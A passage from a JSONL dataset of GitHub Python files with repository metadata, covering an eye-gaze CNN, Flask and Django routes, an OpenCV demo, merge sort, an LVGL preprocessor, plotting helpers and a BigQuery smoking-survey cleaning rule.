print(\"Best: %f using %s\" % (grid_result.best_score_, grid_result.best_params_))\n\n return grid_result\n\ndef get_prediction(npz_file_path):\n model = models.load_model('model3/')\n npz_file = np.load(npz_file_path)\n pic_data = npz_file['pic_data'].reshape((1, 80, 120, 3))\n prediction = model.predict(pic_data)\n print(\"predicted look_vector: \", prediction)\n return prediction\n\ndef compute_difference(row):\n x = np.array([row['x'], row['y'], row['z']])\n pred = np.array(row['Predicted look_vector'])\n abs_diff = np.abs(x - pred)\n return abs_diff\n\ndef get_load_model(df, input_pic):\n loaded_model = models.load_model('model3/')\n\n #Use the loaded model to obtain predictions on the test set\n test_predictions = loaded_model.predict(input_pic)\n #test_predictions = loaded_model.predict(input_pic).flatten()\n\n test_preds_series = pd.Series(test_predictions.tolist())\n test_preds_series.hist()\n plt.show()\n\n df.reset_index(drop=True, inplace=True)\n df['Predicted look_vector'] = test_preds_series\n df['difference'] = df.apply(compute_difference, axis=1)\n\n print(tabulate(df, headers='keys', tablefmt='psql', showindex='always'))\n return df\n\ndef get_average_difference(df):\n xyz_values = [np.array(row) for row in df['difference']]\n avg_xyz = np.mean(xyz_values, axis=0)\n print(\"Avg_XYZ: \", avg_xyz)\n return avg_xyz\n\ndef create_model(X_train, y_train, X_val, y_val):\n from keras import backend as K\n\n def custom_activation(x):\n return K.clip(x, -0.1, 0.1)\n \n #Define the CNN architecture\n model = models.Sequential()\n model.add(layers.Conv2D(32, (5, 5), activation='relu', input_shape=X_train.shape[1:]))\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Conv2D(64, (5, 5), activation='relu'))\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Conv2D(128, (3, 3), activation='relu'))\n model.add(layers.MaxPooling2D((2, 2)))\n model.add(layers.Flatten())\n model.add(layers.Dropout(0.5))\n model.add(layers.Dense(64, activation='relu'))\n model.add(layers.Dense(3, activation=custom_activation))\n\n #Compile the model with an appropriate loss function and optimizer\n model.compile(loss='mean_squared_error', optimizer='Adam')\n\n cp = ModelCheckpoint('model3/', monitor='val_loss', mode='min', save_best_only=True)\n\n #Train the model on the dataset\n model.fit(X_train, y_train, epochs=5, batch_size=8, validation_data=(X_val, y_val), callbacks=[cp])\n return model\n\ndef get_loss(model, X_test, y_test):\n #Evaluate the model on a separate test dataset\n loss = model.evaluate(X_test, y_test)\n print(loss)\n return loss\n\ndef get_all_vectors(names_df):\n df = names_df[['x','y','z']]\n return df\n\ndef drop_columns(df, column_list):\n df.drop(column_list, inplace=True, axis=1)\n return df\n \ndef load_npz_dataset():\n npz_paths = glob.glob('SynthEyes_data/**/*.npz', recursive=True)\n\n #data_list = [(name,) for name in npz_paths]\n #names_df = pd.DataFrame(data_list, columns=['name', 'x'])\n \n data_list = []\n for name in npz_paths:\n with np.load(name) as data:\n x, y, z = data['vector_in'] \n data_list.append((name, x, y, z))\n\n names_df = pd.DataFrame(data_list, columns=['name', 'x', 'y', 'z'])\n return names_df\n\ndef create_dataframes(df):\n train_size = int(0.8 * len(df))\n val_size = int(0.1 * len(df))\n\n train_df, val_df, test_df = df[:train_size], df[train_size:train_size+val_size], df[train_size+val_size:]\n return train_df, val_df, test_df\n\ndef load_pkl_dataset():\n images = np.array([])\n look_vector_x = np.array([])\n look_vector_y = np.array([])\n look_vector_z = np.array([])\n npz_paths = glob.glob('SynthEyes_data/**/*.pkl', recursive=True)\n\n for name in npz_paths:\n image_file_path, file_look_vector_x, file_look_vector_y, file_look_vector_z = open_file(name)\n\n images = np.append(images, image_file_path)\n look_vector_x = np.append(look_vector_x, file_look_vector_x)\n look_vector_y = np.append(look_vector_y, file_look_vector_y)\n look_vector_z = np.append(look_vector_z, file_look_vector_z)\n\n names_df = pd.DataFrame({'name':[y for y in images],\n 'x':[x for x in look_vector_x],\n 'y':[y for y in look_vector_y],\n 'z':[z for z in look_vector_z]})\n\n npz_paths = []\n for i, row in names_df.iterrows():\n picture_path = row['name']\n npz_path = picture_path[:-4] + '.npz'\n npz_paths.append(npz_path)\n\n pic_bgr_arr = cv2.imread(picture_path)\n pic_rgb_arr = cv2.cvtColor(pic_bgr_arr, cv2.COLOR_BGR2RGB)\n\n vector_in = np.array([row['x'], row['y'], row['z']])\n\n np.savez_compressed(npz_path, pic_data=pic_rgb_arr, vector_in=vector_in)\n \n names_df['npz_path'] = pd.Series(npz_paths)\n return names_df\n\ndef open_file(file_name):\n #Open the file in binary mode\n with open(file_name, 'rb') as f:\n #Load the pickled object\n data = pickle.load(f)\n image_file_path = file_name.replace(\".pkl\", \".png\")\n file_look_vectors = [v for k, v in data.items() if k == 'look_vec'][0]\n look_vector_x = file_look_vectors[0]\n look_vector_y = file_look_vectors[1]\n look_vector_z = file_look_vectors[2]\n return image_file_path, look_vector_x, look_vector_y, look_vector_z\n\nif __name__ == '__main__':\n #Profile.run(\"main()\")\n #main()\n pass\n\n","repo_name":"GagandeepMalhotra/Building-a-Prototype-to-Track-Eye-Gaze","sub_path":"cnn_regression.py","file_name":"cnn_regression.py","file_ext":"py","file_size_in_byte":7358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"69870261961","text":"import json\n\nfrom flask import render_template\nfrom app import app\n\n@app.route('/')\n@app.route('/index')\ndef index():\n items = []\n with open('app/static/data.jsonl') as f:\n for line in f:\n item = json.loads(line)\n items.append(item)\n return render_template('index.html', items=items)\n\n@app.route('/data')\ndef data():\n items = []\n with open('app/static/data.jsonl') as f:\n for line in f:\n item = json.loads(line)\n items.append(item)\n return render_template('json.html', items=items)","repo_name":"lizmontesano/RelishSearch2","sub_path":"app/routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":557,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"5004227556","text":"import numpy as np\r\nimport cv2 as cv\r\n\r\nimage = cv.imread('table.jpg')\r\ncv.imshow('Original', image)\r\n\r\ngray = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\r\ncv.imshow('Gray', gray)\r\n# 特徵檢測器:xfeatures2d.StarDetector_create()\r\ndetector = cv.xfeatures2d.StarDetector_create()\r\n# 檢測:detect,返回的是位置跟矢量\r\nkeypoints = detector.detect(gray)\r\n# 畫關鍵點:drawKeypoints\r\n# 參數:(原圖,畫的內容,目標圖,標誌位)\r\n# cv.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS:包含位置跟方向\r\ncv.drawKeypoints(image, keypoints, image,\r\n flags=cv.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\r\ncv.imshow('Star Keypoints', image)\r\ncv.waitKey()\r\n","repo_name":"joko751214/PythonLearing-LastStage","sub_path":"ML、DL/圖像識別/star.py","file_name":"star.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"63"} +{"seq_id":"29858811115","text":"from django.urls import path\nfrom . import views\n\napp_name = 'main'\n\nurlpatterns=[\n path('login/', views.mylogin, name='login'),\n path('logout/', views.mylogout, name='logout'),\n path('register/', views.register, name='register'),\n]","repo_name":"Abdelmasieh01/Deliverat","sub_path":"main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":241,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"15086821547","text":"# 다시 한번 구현\n# 단, 랜덤으로 10개를 채우고 내림차순으로 출력\n\nimport random as r\n\ndef sortMerge(li):\n if len(li) <= 1:\n return li \n mid = len(li) // 2\n\n left = sortMerge(li[:mid])\n right = sortMerge(li[mid:])\n\n result = []\n while left and right:\n if left[0] > right[0]:\n result.append(left.pop(0))\n else:\n result.append(right.pop(0))\n result += left\n result += right\n\n return result\n\nli = [r.randint(1, 100) for _ in range(10)]\nli = sortMerge(li)\nprint(\"li =\", li)","repo_name":"yeonsu98/algorithm","sub_path":"Day06/3_병합정렬2.py","file_name":"3_병합정렬2.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22009246024","text":"import re\nimport sys\nimport glob\n\n# https://stackoverflow.com/a/241506\ndef comment_remover(text):\n def replacer(match):\n s = match.group(0)\n if s.startswith('/'):\n return \" \" # note: a space and not an empty string\n else:\n return s\n pattern = re.compile(\n r'//.*?$|/\\*.*?\\*/|\\'(?:\\\\.|[^\\\\\\'])*\\'|\"(?:\\\\.|[^\\\\\"])*\"',\n re.DOTALL | re.MULTILINE\n )\n return re.sub(pattern, replacer, text)\n\nlv_src_prefix = \"../../lib/libesp32_lvgl/LVGL/src/\"\n# find all headers\nheaders_names = glob.glob(lv_src_prefix + \"**/*.h\", recursive=True)\n\ndef clean_source(raw):\n raw = comment_remover(raw) # remove comments\n # convert cr/lf or cr to lf\n raw = re.sub('\\r\\n ', '\\n', raw)\n raw = re.sub('\\r', '\\n', raw)\n # group multilines into a single line, i.e. if line ends with '\\', put in a single line\n raw = re.sub('\\\\\\\\\\n', ' ', raw)\n # remove preprocessor directives\n raw = re.sub('\\n[ \\t]*#[^\\n]*(?=\\n)', '', raw)\n raw = re.sub('^[ \\t]*#[^\\n]*\\n', '', raw)\n raw = re.sub('\\n[ \\t]*#[^\\n]*$', '', raw)\n\n # remove extern \"C\" {}\n raw = re.sub('extern\\s+\"C\"\\s+{(.*)}', '\\\\1', raw, flags=re.DOTALL)\n\n # remove empty lines\n raw = re.sub('\\n[ \\t]*(?=\\n)', '', raw)\n raw = re.sub('^[ \\t]*\\n', '', raw) # remove first empty line\n raw = re.sub('\\n[ \\t]*$', '', raw) # remove last empty line\n return raw\n\n# ################################################################################\n# Parse 'enum'\n# ################################################################################\noutput_filename = \"lv_enum.h\"\nsys.stdout = open(output_filename, 'w')\nprint(\"\"\"\n// LV Colors - we store in 24 bits format and will convert at runtime\n// This is specific treatment because we keep colors in 24 bits format\nCOLOR_WHITE=0xFFFFFF\nCOLOR_SILVER=0xC0C0C0\nCOLOR_GRAY=0x808080\nCOLOR_BLACK=0x000000\nCOLOR_RED=0xFF0000\nCOLOR_MAROON=0x800000\nCOLOR_YELLOW=0xFFFF00\nCOLOR_OLIVE=0x808000\nCOLOR_LIME=0x00FF00\nCOLOR_GREEN=0x008000\nCOLOR_CYAN=0x00FFFF\nCOLOR_AQUA=0x00FFFF\nCOLOR_TEAL=0x008080\nCOLOR_BLUE=0x0000FF\nCOLOR_NAVY=0x000080\nCOLOR_MAGENTA=0xFF00FF\nCOLOR_PURPLE=0x800080\n\n// following are #define, not enum\nLV_RADIUS_CIRCLE\nLV_TEXTAREA_CURSOR_LAST\nLV_STYLE_PROP_ALL\n\"\"\")\n\n\n\n# unit test\n#headers_names = [ '../../lib/libesp32_lvgl/LVGL/src/lv_widgets/lv_btn.h' ]\n#headers_names = [ '../../lib/libesp32_lvgl/LVGL/src/lv_core/lv_style.h' ]\n#\nfor header_name in headers_names:\n with open(header_name) as f:\n raw = clean_source(f.read())\n\n # extract enums\n enums = re.findall('enum\\s+{(.*?)}', raw, flags=re.DOTALL)\n for enum in enums: # iterate on all matches\n # remove enums defined via a macro\n enum = re.sub('\\S+\\((.*?),.*?\\),', '\\\\1,', enum) # turn 'LV_STYLE_PROP_INIT(LV_STYLE_SIZE, 0x0, LV_STYLE_ID_VALUE + 3, LV_STYLE_ATTR_NONE),' into 'LV_STYLE_SIZE'\n #\n enum_elt = enum.split(\",\")\n for enum_item in enum_elt:\n # remove any space\n enum_item = re.sub('[ \\t\\n]', '', enum_item)\n # remove anything after '='\n enum_item = re.sub('=.*$', '', enum_item)\n\n # item is ready\n exclude = False\n for exclude_prefix in [\"_\", \"LV_BIDI_DIR_\", \"LV_FONT_\", \"LV_IMG_CF_RESERVED_\", \"LV_IMG_CF_USER_\",\n \"LV_SIGNAL_\", \"LV_TEMPL_\", \"LV_TASK_PRIO_\", \"LV_THEME_\", \"LV_KEYBOARD_MODE_TEXT_ARABIC\"]:\n if enum_item.startswith(exclude_prefix): exclude = True\n if exclude: continue\n\n print(enum_item)\nsys.stdout.close()\n","repo_name":"greenmagics/Tasmota","sub_path":"tools/lv_berry/preprocessor.py","file_name":"preprocessor.py","file_ext":"py","file_size_in_byte":3485,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"1849046238","text":"import matplotlib\nimport pylab\nimport fdasrsf.curve_functions as cf\nfrom numpy import tile, array, arange\nimport matplotlib.pyplot as plt\n\n\ndef rstyle(ax, pres=False):\n \"\"\"\n Styles x,y axes to appear like ggplot2\n Must be called after all plot and axis manipulation operations have been\n carried out (needs to know final tick spacing)\n \"\"\"\n #Set the style of the major and minor grid lines, filled blocks\n if pres:\n ax.grid(True, 'major', color='w', linestyle='-', linewidth=0.7)\n ax.grid(True, 'minor', color='0.99', linestyle='-', linewidth=0.4)\n else:\n ax.grid(True, 'major', color='w', linestyle='-', linewidth=1.4)\n ax.grid(True, 'minor', color='0.99', linestyle='-', linewidth=0.7)\n ax.patch.set_facecolor('0.90')\n ax.set_axisbelow(True)\n\n #Set minor tick spacing to 1/2 of the major ticks\n ax.xaxis.set_minor_locator((pylab.MultipleLocator((plt.xticks()[0][1]\n - plt.xticks()[0][0]) / 2.0)))\n ax.yaxis.set_minor_locator((pylab.MultipleLocator((plt.yticks()[0][1]\n - plt.yticks()[0][0]) / 2.0)))\n\n #Remove axis border\n for child in ax.get_children():\n if isinstance(child, matplotlib.spines.Spine):\n child.set_alpha(0)\n\n #Restyle the tick lines\n for line in ax.get_xticklines() + ax.get_yticklines():\n if pres:\n line.set_markersize(4)\n line.set_color(\"gray\")\n line.set_markeredgewidth(.8)\n else:\n line.set_markersize(5)\n line.set_color(\"gray\")\n line.set_markeredgewidth(1.4)\n\n #Remove the minor tick lines\n for line in (ax.xaxis.get_ticklines(minor=True) +\n ax.yaxis.get_ticklines(minor=True)):\n line.set_markersize(0)\n\n #Only show bottom left ticks, pointing out of axis\n plt.rcParams['xtick.direction'] = 'out'\n plt.rcParams['ytick.direction'] = 'out'\n ax.xaxis.set_ticks_position('bottom')\n ax.yaxis.set_ticks_position('left')\n\n\ndef rstyle_bw(ax):\n \"\"\"\n Styles x,y axes to appear like ggplot2\n Must be called after all plot and axis manipulation operations have been\n carried out (needs to know final tick spacing)\n \"\"\"\n #Set the style of the major and minor grid lines, filled blocks\n ax.grid(True, 'major', color='0.88', linestyle='-', linewidth=0.7)\n ax.grid(True, 'minor', color='0.95', linestyle='-', linewidth=0.4)\n ax.set_axisbelow(True)\n\n #Set minor tick spacing to 1/2 of the major ticks\n ax.xaxis.set_minor_locator((pylab.MultipleLocator((plt.xticks()[0][1]\n - plt.xticks()[0][0]) / 2.0)))\n ax.yaxis.set_minor_locator((pylab.MultipleLocator((plt.yticks()[0][1]\n - plt.yticks()[0][0]) / 2.0)))\n\n #Remove axis border\n ax.spines['top'].set_alpha(0)\n ax.spines['right'].set_alpha(0)\n\n #Restyle the tick lines\n for line in ax.get_xticklines() + ax.get_yticklines():\n line.set_markersize(4)\n # line.set_color(\"gray\")\n line.set_markeredgewidth(.8)\n\n #Remove the minor tick lines\n for line in (ax.xaxis.get_ticklines(minor=True) +\n ax.yaxis.get_ticklines(minor=True)):\n line.set_markersize(0)\n\n #Only show bottom left ticks, pointing out of axis\n plt.rcParams['xtick.direction'] = 'out'\n plt.rcParams['ytick.direction'] = 'out'\n ax.xaxis.set_ticks_position('bottom')\n ax.yaxis.set_ticks_position('left')\n\n\ndef f_plot(time, f, title=\"Data\", bw=False, pres=False):\n \"\"\"\n plots function data using matplotlib\n\n :param time: vector of size N describing the sample points\n :param f: numpy ndarray of shape (M,N) of M SRSFs with N samples\n :param title: string of title\n\n :return fig: figure definition\n :return ax: axes definition\n\n \"\"\"\n\n fig, ax = plt.subplots()\n ax.plot(time, f)\n plt.title(title)\n plt.style.use('ggplot')\n\n return fig, ax\n\n\ndef plot_curve(beta):\n \"\"\"\n plots curve\n\n :param beta: numpy array of shape (2,M) of M samples\n\n :return fig: figure defintion\n :return ax: axes\n \"\"\"\n fig, ax = plt.subplots()\n ax.plot(beta[0, :], beta[1, :], 'r', linewidth=2)\n ax.set_aspect('equal')\n ax.axis('off')\n\n return fig,ax\n\n\ndef plot_reg_open_curve(beta1, beta2n):\n \"\"\"\n plots registration between two open curves using matplotlib\n\n :param beta: numpy ndarray of shape (2,M) of M samples\n :param beta: numpy ndarray of shape (2,M) of M samples\n\n :return fig: figure definition\n :return ax: axes definition\n\n \"\"\"\n T = beta1.shape[1]\n centroid1 = cf.calculatecentroid(beta1)\n beta1 = beta1 - tile(centroid1, [T, 1]).T\n centroid2 = cf.calculatecentroid(beta2n)\n beta2n = beta2n - tile(centroid2, [T, 1]).T\n beta2n[0, :] = beta2n[0, :] + 1.3\n beta2n[1, :] = beta2n[1, :] - 0.1\n\n fig, ax = plt.subplots()\n ax.plot(beta1[0, :], beta1[1, :], 'r', linewidth=2)\n fig.hold()\n ax.plot(beta2n[0, :], beta2n[1, :], 'b-o', linewidth=2)\n\n for j in range(0, int(T/5)):\n i = j*5\n ax.plot(array([beta1[0, i], beta2n[0, i]]),\n array([beta1[1, i], beta2n[1, i]]), 'k', linewidth=1)\n\n ax.set_aspect('equal')\n ax.axis('off')\n fig.hold()\n\n return fig, ax\n\n\ndef plot_geod_open_curve(PsiX):\n \"\"\"\n plots geodesic between two open curves using matplotlib\n\n :param PsiX: numpy ndarray of shape (2,M,k) of M samples\n\n :return fig: figure definition\n :return ax: axes definition\n\n \"\"\"\n k = PsiX.shape[2]\n fig, ax = plt.subplots()\n fig.hold()\n for tau in range(0, k):\n ax.plot(.35*tau+PsiX[0, :, tau], PsiX[1, :, tau], 'k', linewidth=2)\n\n ax.set_aspect('equal')\n ax.axis('off')\n fig.hold()\n\n return fig, ax\n\n\ndef plot_geod_close_curve(pathsqnc):\n \"\"\"\n plots geodesic between two closed curves using matplotlib\n\n :param pathsqnc: numpy ndarray of shape (2,M,k,i) of M samples\n\n :return fig: figure definition\n :return ax: axes definition\n\n \"\"\"\n i = pathsqnc.shape[3]\n k = pathsqnc.shape[2]\n if i > 1:\n plotidx = arange(0, i)\n fig, ax = plt.subplots(plotidx.size, k, sharex=True, sharey=True)\n for j in plotidx:\n for tau in range(0, k):\n beta_tmp = pathsqnc[:, :, tau, j]\n ax[j, tau].plot(beta_tmp[0, :], beta_tmp[1, :], 'r',\n linewidth=2)\n ax[j, tau].set_aspect('equal')\n ax[j, tau].axis('off')\n else:\n fig, ax = plt.subplots(1, k, sharex=True, sharey=True)\n for tau in range(0, k):\n beta_tmp = pathsqnc[:, :, tau, j]\n ax[tau].plot(beta_tmp[0, :], beta_tmp[1, :], 'r', linewidth=2)\n ax[tau].set_aspect('equal')\n ax[tau].axis('off')\n\n return fig, ax\n","repo_name":"jdtuck/fdasrsf_python","sub_path":"fdasrsf/plot_style.py","file_name":"plot_style.py","file_ext":"py","file_size_in_byte":6921,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"82"} +{"seq_id":"18740618784","text":"\"\"\"\nUpdate the smoking question rows with new source and standard ids.\n\nThe mapping of several smoking, question and answer pairs in the lifestyle survey\nwere written abnormally in REDCap. The irregular branching logic was used by the survey\nimplementers as well as Odysseus when creating the vocabulary. The smoking rows need\nto have their source and standard concept_ids remapped to ensure clear and meaningful data.\n\nThis rule should be reviewed after any change in Athena to the concepts in smoking_lookup.csv.\nPost-coordination of these terms could impact how this rule is applied.\n\nThis rule generates corrected rows and deletes incorrect rows.\n\nOriginal issues: AC-77 , DC-806\n\"\"\"\nimport logging\nimport os\nfrom datetime import datetime\nfrom typing import Dict\n\nfrom google.cloud import bigquery\nfrom gcloud.bq import BigQueryClient\nimport resources\nfrom constants.cdr_cleaner import clean_cdr as cdr_consts\nfrom cdr_cleaner.cleaning_rules.base_cleaning_rule import BaseCleaningRule, query_spec_list\nfrom cdr_cleaner.cleaning_rules.convert_pre_post_coordinated_concepts import (\n ConvertPrePostCoordinatedConcepts)\nfrom common import JINJA_ENV, OBSERVATION\n\nLOGGER = logging.getLogger(__name__)\n\nSMOKING_LOOKUP_TABLE = 'smoking_lookup'\nNEW_SMOKING_ROWS = 'new_smoking_rows'\n\nJIRA_ISSUE_NUMBERS = ['AC77', 'DC806']\n\nSANDBOX_CREATE_QUERY = JINJA_ENV.from_string(\"\"\"\nCREATE OR REPLACE TABLE `{{project_id}}.{{sandbox_dataset_id}}.{{new_smoking_rows}}`\nAS\nSELECT\n observation_id,\n person_id,\n observation_concept_id,\n observation_date,\n observation_datetime,\n observation_type_concept_id,\n value_as_number,\n value_as_string,\n value_as_concept_id,\n qualifier_concept_id,\n unit_concept_id,\n provider_id,\n visit_occurrence_id,\n visit_detail_id,\n observation_source_value,\n observation_source_concept_id,\n unit_source_value,\n qualifier_source_value,\n value_source_concept_id,\n value_source_value,\n questionnaire_response_id\nFROM\n(SELECT\n observation_id,\n person_id,\n new_observation_concept_id as observation_concept_id,\n observation_date,\n observation_datetime,\n observation_type_concept_id,\n value_as_number,\n value_as_string,\n new_value_as_concept_id as value_as_concept_id,\n qualifier_concept_id,\n unit_concept_id,\n provider_id,\n visit_occurrence_id,\n visit_detail_id,\n observation_source_value,\n new_observation_source_concept_id as observation_source_concept_id,\n unit_source_value,\n qualifier_source_value,\n new_value_source_concept_id as value_source_concept_id,\n value_source_value,\n questionnaire_response_id,\n ROW_NUMBER() OVER(PARTITION BY person_id, new_observation_source_concept_id ORDER BY rank ASC) AS this_row\nFROM\n `{{project_id}}.{{sandbox_dataset_id}}.{{smoking_lookup_table}}`\nJOIN `{{project_id}}.{{dataset_id}}.observation`\n USING (observation_source_concept_id, value_as_concept_id)\n)\nWHERE this_row=1\n\"\"\")\n\nDELETE_INCORRECT_RECORDS = JINJA_ENV.from_string(\"\"\"\nDELETE\nFROM `{{project_id}}.{{dataset_id}}.observation`\nWHERE observation_source_concept_id IN\n(SELECT\n observation_source_concept_id\nFROM `{{project_id}}.{{sandbox_dataset_id}}.{{smoking_lookup_table}}`\n)\n\"\"\")\n\nINSERT_CORRECTED_RECORDS = JINJA_ENV.from_string(\"\"\"\nINSERT INTO `{{project_id}}.{{dataset_id}}.observation`\n (observation_id,\n person_id,\n observation_concept_id,\n observation_date,\n observation_datetime,\n observation_type_concept_id,\n value_as_number,\n value_as_string,\n value_as_concept_id,\n qualifier_concept_id,\n unit_concept_id,\n provider_id,\n visit_occurrence_id,\n visit_detail_id,\n observation_source_value,\n observation_source_concept_id,\n unit_source_value,\n qualifier_source_value,\n value_source_concept_id,\n value_source_value,\n questionnaire_response_id)\nSELECT\n *\nFROM `{{project_id}}.{{sandbox_dataset_id}}.{{new_smoking_rows}}`\n\"\"\")\n\n### Validation Query ####\nCOUNTS_QUERY = JINJA_ENV.from_string(\"\"\"\nSELECT\nCOUNTIF(observation_source_concept_id IN (1585866,903062,1585872,1586158,903063,\n 1586161,903064,1586164,1585865,1585871,1586157,1586160,1586163)\n AND value_as_concept_id = 45877994) AS n_old_child,\nCOUNTIF(observation_source_concept_id IN (1585864,1585870,1585873,1586159,1586162) \n AND (value_as_concept_id = 0 OR value_as_concept_id = 903096) AS n_old_parent,\nCOUNT(*) AS total\nFROM `{{project_id}}.{{dataset_id}}.{{obs_table}}`\n\"\"\")\n\n\nclass CleanSmokingPpi(BaseCleaningRule):\n\n def __init__(self,\n project_id,\n dataset_id,\n sandbox_dataset_id,\n table_namer=None):\n \"\"\"\n Initialize the class with proper information.\n\n Set the issue numbers, description and affected datasets. As other tickets may affect\n this SQL, append them to the list of Jira Issues.\n DO NOT REMOVE ORIGINAL JIRA ISSUE NUMBERS!\n \"\"\"\n desc = 'Cleans the data associated with the smoking concepts which have a bug in the vocabulary.'\n\n super().__init__(issue_numbers=JIRA_ISSUE_NUMBERS,\n description=desc,\n affected_datasets=[cdr_consts.RDR],\n affected_tables=[OBSERVATION],\n project_id=project_id,\n dataset_id=dataset_id,\n sandbox_dataset_id=sandbox_dataset_id,\n depends_on=[ConvertPrePostCoordinatedConcepts],\n table_namer=table_namer)\n\n self.counts_query = COUNTS_QUERY.render(project_id=self.project_id,\n dataset_id=self.dataset_id,\n obs_table=OBSERVATION)\n\n def get_sandbox_tablenames(self) -> list:\n return [self.sandbox_table_for(OBSERVATION)]\n\n def setup_rule(self, client: BigQueryClient, *args, **keyword_args) -> None:\n \"\"\"\n Run the lookup table load.\n\n Load the lookup table values into the sandbox. The following queries\n will use the lookup table as part of the execution.\n \"\"\"\n table_path = os.path.join(resources.resource_files_path,\n f\"{SMOKING_LOOKUP_TABLE}.csv\")\n with open(table_path, 'rb') as csv_file:\n schema_list = client.get_table_schema(SMOKING_LOOKUP_TABLE)\n table_id = f'{self.project_id}.{self.sandbox_dataset_id}.{SMOKING_LOOKUP_TABLE}'\n job_config = bigquery.LoadJobConfig(\n schema=schema_list,\n skip_leading_rows=1,\n source_format=bigquery.SourceFormat.CSV,\n field_delimiter=',',\n allow_quoted_newlines=True,\n quote_character='\"',\n write_disposition=bigquery.job.WriteDisposition.WRITE_TRUNCATE)\n\n # job_id defined to the second precision\n job_id = f'{self.dataset_id}_{self.__class__.__name__}_{datetime.now().strftime(\"%Y%m%d_%H%M%S\")}'\n LOGGER.info(f'Loading `{table_id}`')\n try:\n load_job = client.load_table_from_file(\n csv_file, table_id, job_config=job_config,\n job_id=job_id) # Make an API request.\n\n load_job.result() # Waits for the job to complete.\n except (ValueError, TypeError) as exc:\n LOGGER.info(\n 'Something went wrong and the table did not load correctly')\n raise exc\n else:\n LOGGER.info(f'Loading of `{table_id}` completed.')\n\n def get_query_specs(self, *args, **keyword_args) -> query_spec_list:\n \"\"\"\n Return a list of dictionary query specifications.\n\n :return: A list of dictionaries. Each dictionary contains a single query\n and a specification for how to execute that query. The specifications\n are optional but the query is required.\n \"\"\"\n queries_list = []\n\n sandbox_query = dict()\n sandbox_query[cdr_consts.QUERY] = SANDBOX_CREATE_QUERY.render(\n project_id=self.project_id,\n sandbox_dataset_id=self.sandbox_dataset_id,\n new_smoking_rows=NEW_SMOKING_ROWS,\n smoking_lookup_table=SMOKING_LOOKUP_TABLE,\n dataset_id=self.dataset_id)\n queries_list.append(sandbox_query)\n\n delete_query = dict()\n delete_query[cdr_consts.QUERY] = DELETE_INCORRECT_RECORDS.render(\n project_id=self.project_id,\n dataset_id=self.dataset_id,\n sandbox_dataset_id=self.sandbox_dataset_id,\n smoking_lookup_table=SMOKING_LOOKUP_TABLE)\n queries_list.append(delete_query)\n\n insert_query = dict()\n insert_query[cdr_consts.QUERY] = INSERT_CORRECTED_RECORDS.render(\n project_id=self.project_id,\n dataset_id=self.dataset_id,\n sandbox_dataset_id=self.sandbox_dataset_id,\n new_smoking_rows=NEW_SMOKING_ROWS)\n queries_list.append(insert_query)\n\n return queries_list\n\n def setup_validation(self, client: BigQueryClient) -> None:\n \"\"\"\n Run required steps for validation setup\n \"\"\"\n self.init_counts = self._get_counts(client)\n\n if self.init_counts.get('total_rows') == 0:\n raise RuntimeError('NO DATA EXISTS IN OBSERVATION TABLE')\n\n def validate_rule(self, client: BigQueryClient) -> None:\n \"\"\"\n Validates the cleaning rule which deletes or updates the data from the tables\n \"\"\"\n clean_counts = self._get_counts(client)\n\n if clean_counts.get('total_rows') == 0:\n raise RuntimeError('LOST ALL DATA IN OBSERVATION TABLE')\n\n if self.init_counts.get('total_rows') != clean_counts.get('total_rows'):\n raise RuntimeError(\n f'{self.__class__.__name__} unexpectedly changed table counts.\\n'\n f'initial count is: {self.init_counts.get(\"total_rows\")}\\n'\n f'clean count is: {clean_counts.get(\"total_rows\")}')\n\n if clean_counts.get('child_count') or clean_counts.get('parent_count'):\n raise RuntimeError(\n f'{self.__class__.__name__} did not clean as expected.\\n'\n f'Found data in: {clean_counts}')\n\n def _get_counts(self, client: BigQueryClient) -> Dict[str, int]:\n \"\"\"\n Counts query.\n\n Used for job validation.\n \"\"\"\n job = client.query(self.counts_query)\n response = job.result()\n\n errors = []\n if job.exception():\n errors.append(job.exception())\n LOGGER.error(f\"FAILURE: {job.exception()}\\n\"\n f\"Problem executing query:\\n{self.counts_query}\")\n else:\n for item in response:\n total = item.get('total', 0)\n n_child = item.get('n_old_child', 0)\n n_parent = item.get('n_old_parent', 0)\n\n return {\n 'total_rows': total,\n 'child_count': n_child,\n 'parent_count': n_parent\n }\n\n\nif __name__ == '__main__':\n import cdr_cleaner.args_parser as parser\n import cdr_cleaner.clean_cdr_engine as clean_engine\n\n ARGS = parser.default_parse_args()\n\n if ARGS.list_queries:\n clean_engine.add_console_logging()\n query_list = clean_engine.get_query_list(ARGS.project_id,\n ARGS.dataset_id,\n ARGS.sandbox_dataset_id,\n [(CleanSmokingPpi,)])\n for query in query_list:\n LOGGER.info(query)\n else:\n clean_engine.add_console_logging(ARGS.console_log)\n clean_engine.clean_dataset(ARGS.project_id, ARGS.dataset_id,\n ARGS.sandbox_dataset_id,\n [(CleanSmokingPpi,)])\n","repo_name":"all-of-us/curation","sub_path":"data_steward/cdr_cleaner/cleaning_rules/clean_smoking_ppi.py","file_name":"clean_smoking_ppi.py","file_ext":"py","file_size_in_byte":11968,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"82"} +{"seq_id":"14475217766","text":"import os\nfrom flask import Flask, request, abort, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\nimport random\nfrom sqlalchemy.sql.expression import func\n\nfrom models import setup_db, Question, Category, db\n\nQUESTIONS_PER_PAGE = 10\n\ndef paginate_questions(request, selection):\n page = request.args.get(\"page\", 1, type=int)\n start = (page - 1) * 